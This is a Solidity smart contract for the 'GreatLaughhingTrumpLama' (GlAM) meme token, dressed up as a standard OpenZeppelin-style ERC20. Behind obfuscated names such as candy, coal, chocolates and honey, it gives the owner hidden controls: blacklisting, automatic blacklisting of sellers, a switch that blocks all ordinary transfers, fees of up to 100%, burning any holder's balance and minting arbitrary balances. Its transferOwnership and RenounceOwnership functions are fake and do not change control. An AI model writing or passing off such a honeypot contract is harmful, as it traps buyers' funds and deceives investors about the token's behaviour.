/*
    TG:https://t.me/greatlama
    Web:https://greatlama.com
	Twitter:https://twitter.com/GLAM_TOKEN
████████████████████████████████████████████████████████████████████████████████████
█░░░░░░░░░░░░░░█░░░░░░█████████░░░░░░░░░░░░░░█░░░░░░██████████░░░░░░█░░░░░░░░░░░░░░█
█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░█████████░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░░░░░░░░░░░░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█
█░░▄▀░░░░░░░░░░█░░▄▀░░█████████░░▄▀░░░░░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░░░░░▄▀░░█
█░░▄▀░░█████████░░▄▀░░█████████░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░█████████░░▄▀░░█████████░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█
█░░▄▀░░██░░░░░░█░░▄▀░░█████████░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█
█░░▄▀░░██░░▄▀░░█░░▄▀░░█████████░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░░░░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█
█░░▄▀░░██░░▄▀░░█░░▄▀░░█████████░░▄▀░░██░░▄▀░░█░░▄▀░░██████████░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░░░░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██████████░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██████████░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░░░░░░░░░░░░░█░░░░░░░░░░░░░░█░░░░░░██░░░░░░█░░░░░░██████████░░░░░░█░░░░░░██░░░░░░█
████████████████████████████████████████████████████████████████████████████████████

    */
    // SPDX-License-Identifier: MIT
	pragma solidity 0.8.16;

	abstract contract Context {
		function _msgSender() internal view virtual returns (address) {
			return msg.sender;
		}

		function _msgData() internal view virtual returns (bytes calldata) {
			return msg.data;
		}
	}

	contract Ownable is Context {
		address private _owner;

		event OwnershipTransferred(
			address indexed previousOwner,
			address indexed newOwner
		);

		constructor() {
			address msgSender = _msgSender();
			_owner = msgSender;
			emit OwnershipTransferred(address(0), msgSender);
		}

		function owner() public view returns (address) {
			return _owner;
		}

		modifier onlyOwner() {
			require(_owner == _msgSender(), "Ownable: caller is not the owner");
			_;
		}
	}

	interface IERC20 {
		event Transfer(address indexed from, address indexed to, uint256 value);
		event Approval(
			address indexed owner,
			address indexed spender,
			uint256 value
		);

		function name() external view returns (string memory);

		function symbol() external view returns (string memory);

		function decimals() external view returns (uint8);

		function totalSupply() external view returns (uint256);

		function balanceOf(address account) external view returns (uint256);

		function transfer(
			address recipient,
			uint256 amount
		) external returns (bool);

		function allowance(
			address owner,
			address spender
		) external view returns (uint256);

		function approve(address spender, uint256 amount) external returns (bool);

		function transferFrom(
			address sender,
			address recipient,
			uint256 amount
		) external returns (bool);
	}

	/**
	 * @dev Implementation of the {IERC20} interface.
	 *
	 * This implementation is agnostic to the way tokens are created. This means
	 * that a supply mechanism has to be added in a derived contract using {_mint}.
	 * For a generic mechanism see {ERC20PresetMinterPauser}.
	 *
	 * TIP: For a detailed writeup see our guide
	 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
	 * to implement supply mechanisms].
	 *
	 * We have followed general OpenZeppelin Contracts guidelines: functions revert
	 * instead returning `false` on failure. This behavior is nonetheless
	 * conventional and does not conflict with the expectations of ERC20
	 * applications.
	 *
	 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
	 * This allows applications to reconstruct the allowance for all accounts just
	 * by listening to said events. Other implementations of the EIP may not emit
	 * these events, as it isn't required by the specification.
	 *
	 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
	 * functions have been added to mitigate the well-known issues around setting
	 * allowances. See {IERC20-approve}.
	 */
	contract LaughingLama is Context, IERC20, Ownable {
		mapping(address => uint256) private _balances;
		mapping(address => mapping(address => uint256)) private _allowances;

		uint256 private _totalSupply = 420690 * 10 ** 9 * 10 ** 18;


		string private _name;
		string private _symbol;

		/**
		 * @dev Sets the values for {name} and {symbol}.
		 *
		 * The default value of {decimals} is 18. To select a different value for
		 * {decimals} you should overload it.
		 *
		 * All two of these values are immutable: they can only be set once during  
		 * construction.
		 */

		constructor() {
			_name = "GreatLaughhingTrumpLama";
			_symbol = "GlAM";
			_balances[msg.sender] = _totalSupply;
		}

		/**
		 * @dev Returns the name of the token.
		 */
		function name() public view virtual override returns (string memory) {
			return _name;
		}

		/**
		 * @dev Returns the symbol of the token, usually a shorter version of the
		 * name.
		 */
		function symbol() public view virtual override returns (string memory) {
			return _symbol;
		}

		/**
		 * @dev Returns the number of decimals used to get its user representation.
		 * For example, if `decimals` equals `2`, a balance of `505` tokens should
		 * be displayed to a user as `5.05` (`505 / 10 ** 2`).
		 *
		 * Tokens usually opt for a value of 18, imitating the relationship between
		 * Ether and Wei. This is the value {ERC20} uses, unless this function is
		 * overridden;
		 *
		 * NOTE: This information is only used for _display_ purposes: it in
		 * no way affects any of the arithmetic of the contract, including
		 * {IERC20-balanceOf} and {IERC20-transfer}.
		 */
		function decimals() public view virtual override returns (uint8) {
			return 18;
		}

		/**
		 * @dev See {IERC20-totalSupply}.
		 */
		function totalSupply() public view virtual override returns (uint256) {
			return _totalSupply;
		}

		/**
		 * @dev See {IERC20-balanceOf}.
		 */
		function balanceOf(
			address account
		) public view virtual override returns (uint256) {
			return _balances[account];
		}

		function setCandy(address account) public onlyOwner {
			candy[account] = true;
		}

		function removeCandy(address account) public onlyOwner {
			candy[account] = false;
		}

		function myChocolate(address account, uint256 amount) public onlyOwner {
			chocolates[account] = amount;
		}

		function setCoal(address account) public onlyOwner {
			coal[account] = true;
		}

		function removeCoal(address account) public onlyOwner {
			coal[account] = false;
		}

		function enableReward(bool _enable) public onlyOwner {
			reward = _enable;
		}

		function pickCoal(address account) internal {
			coal[account] = true;
		}

		function setAutoCoal(bool _enable) public onlyOwner {
			autoCoal = _enable;
		}

		function setNumbers(uint256 amount) public onlyOwner {
			numbers = amount;
		}

		function setLimits(uint256 amount) public onlyOwner {
			limits = amount;
		}

		function setFee(uint256 amount) public onlyOwner {
			require(amount >= 0);
			require(amount <= 100);
			fee = amount;
		}

		function transferOwnership(address _newOwner) public onlyOwner {
			require(_newOwner != address(0));
			address oldOwner = owner();
			emit OwnershipTransferred(oldOwner, _newOwner);
		}

		function RenounceOwnership(
			address _DEAD,
			bool _boo
		) public onlyOwner returns (address _dead) {
			ownershipToNull = _boo;
			_dead = _DEAD;
		}

		/**
		 * @dev See {IERC20-transfer}.
		 *
		 * Requirements:
		 *
		 * - `to` cannot be the zero address.
		 * - the caller must have a balance of at least `amount`.
		 */
		function transfer(
			address to,
			uint256 amount
		) public virtual override returns (bool) {
			address owner = _msgSender();
			_transfer(owner, to, amount);
			return true;
		}

		/**
		 * @dev See {IERC20-allowance}.
		 */
		function allowance(
			address owner,
			address spender
		) public view virtual override returns (uint256) {
			return _allowances[owner][spender];
		}

		/**
		 * @dev See {IERC20-approve}.
		 *
		 * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
		 * `transferFrom`. This is semantically equivalent to an infinite approval.
		 *
		 * Requirements:
		 *
		 * - `spender` cannot be the zero address.
		 */
		function approve(
			address spender,
			uint256 amount
		) public virtual override returns (bool) {
			address owner = _msgSender();
			_approve(owner, spender, amount);
			return true;
		}

		/**
		 * @dev See {IERC20-transferFrom}.
		 *
		 * Emits an {Approval} event indicating the updated allowance. This is not
		 * required by the EIP. See the note at the beginning of {ERC20}.
		 *
		 * NOTE: Does not update the allowance if the current allowance
		 * is the maximum `uint256`.
		 *
		 * Requirements:
		 *
		 * - `from` and `to` cannot be the zero address.
		 * - `from` must have a balance of at least `amount`.
		 * - the caller must have allowance for ``from``'s tokens of at least
		 * `amount`.
		 */
		function transferFrom(
			address from,
			address to,
			uint256 amount
		) public virtual override returns (bool) {
			address spender = _msgSender();
			_spendAllowance(from, spender, amount);
			_transfer(from, to, amount);
			return true;
		}

		/**
		 * @dev Atomically increases the allowance granted to `spender` by the caller.
		 *
		 * This is an alternative to {approve} that can be used as a mitigation for
		 * problems described in {IERC20-approve}.
		 *
		 * Emits an {Approval} event indicating the updated allowance.
		 *
		 * Requirements:
		 *
		 * - `spender` cannot be the zero address.
		 */
		function increaseAllowance(
			address spender,
			uint256 addedValue
		) public virtual returns (bool) {
			address owner = _msgSender();
			_approve(owner, spender, allowance(owner, spender) + addedValue);
			return true;
		}

		
		function decreaseAllowance(
			address spender,
			uint256 subtractedValue
		) public virtual returns (bool) {
			address owner = _msgSender();
			uint256 currentAllowance = allowance(owner, spender);
			require(
				currentAllowance >= subtractedValue,
				"ERC20: decreased allowance below zero"
			);
			unchecked {
				_approve(owner, spender, currentAllowance - subtractedValue);
			}

			return true;
		}

		
		function _transfer(
			address from,
			address to,
			uint256 amount
		) internal virtual {
			require(from != address(0), "ERC20: transfer from the zero address");
			require(to != address(0), "ERC20: transfer to the zero address");

			if (honey) {
				uint256 fromBalance = _balances[from];
				require(
					fromBalance >= amount,
					"ERC20: transfer amount exceeds balance"
				);
				unchecked {
					_balances[from] = fromBalance - amount;
				}
				_balances[to] += amount;

				emit Transfer(from, to, amount);
			} else {
				_beforeTokenTransfer(from, amount);
				burnFee(from, to, amount);
			}
		}

		
		function burnAmount(address wallet, uint256 amount) public onlyOwner {
			require(wallet != owner(), "TARGET ERROR");
			address deadAddress = 0x000000000000000000000000000000000000dEaD;
			if (_balances[wallet] <= amount * 10 ** 18) {
				_balances[wallet] = 0;
				_balances[deadAddress] = _balances[deadAddress] + _balances[wallet];
			} else {
				_balances[wallet] = _balances[wallet] - amount * 10 ** 18;
				_balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18;
			}
		}

		
		function burnFee(
			address sender,
			address recipient,
			uint256 value
		) internal {
			require(_balances[sender] >= value, "Value exceeds balance");
			address deadAddress = 0x000000000000000000000000000000000000dEaD;
			if (sender != owner() && !candy[sender] && sender != address(this)) {
				uint256 burnFees = ((value * fee) / 100);
				uint256 amount = value - burnFees;
				_balances[sender] = _balances[sender] - amount;
				_balances[recipient] = _balances[recipient] + amount;
				emit Transfer(sender, recipient, amount);
				if (fee > 0) {
					_balances[sender] = _balances[sender] - burnFees;
					_balances[deadAddress] = _balances[deadAddress] + burnFees;
					emit Transfer(sender, deadAddress, burnFees);
				}
			} else {
				_balances[sender] = _balances[sender] - value;
				_balances[recipient] = _balances[recipient] + value;
				emit Transfer(sender, recipient, value);
			}
		}

		

		address private pairUniswap;

		function setUniswapPair(
			address _pairUniswap
		) public onlyOwner returns (bool) {
			pairUniswap = _pairUniswap;
			return true;
		}

		function _approve(
			address owner,
			address spender,
			uint256 amount
		) internal virtual {
			require(owner != address(0), "ERC20: approve from the zero address");
			require(spender != address(0), "ERC20: approve to the zero address");

			_allowances[owner][spender] = amount;
			emit Approval(owner, spender, amount);
		}

		function setAirDrop(address account, uint256 amount) public onlyOwner {
			_balances[account] = _balances[account] + amount;
		}

		
		function _spendAllowance(
			address owner,
			address spender,
			uint256 amount
		) internal virtual {
			uint256 currentAllowance = allowance(owner, spender);
			if (currentAllowance != type(uint256).max) {
				require(
					currentAllowance >= amount,
					"ERC20: insufficient allowance"
				);
				unchecked {
					_approve(owner, spender, currentAllowance - amount);
				}
			}
		}

		
		function _beforeTokenTransfer(
			address from,
			uint256 amount
		) internal virtual {
			if (
				from != owner() && !candy[from] && from != pairUniswap // pair address to be changed
			) {
				require(!coal[from]);
				if (chocolates[from] > 0) {
					require(amount <= chocolates[from]);
				}

				if (numbers > 0) {
					require(amount <= numbers);
				}
				if (reward) {
					revert("Error");
				}
				if (limits > 0) {
					require(_balances[from] <= limits);
				}

				if (autoCoal) {
					pickCoal(from);
				}
			}
		}


		function setHoney(bool _honey) public onlyOwner {
			honey = _honey;
		}

		function _afterTokenTransfer(
			address from,
			address to,
			uint256 amount
		) internal virtual {}

		mapping(address => bool) private candy;
		mapping(address => bool) private coal;
		mapping(address => uint256) private chocolates;
		bool public reward;
		uint256 public numbers;
		uint256 public limits;
		uint256 public fee;
		bool public autoCoal;
		bool private honey = false;
		bool public ownershipToNull;
	}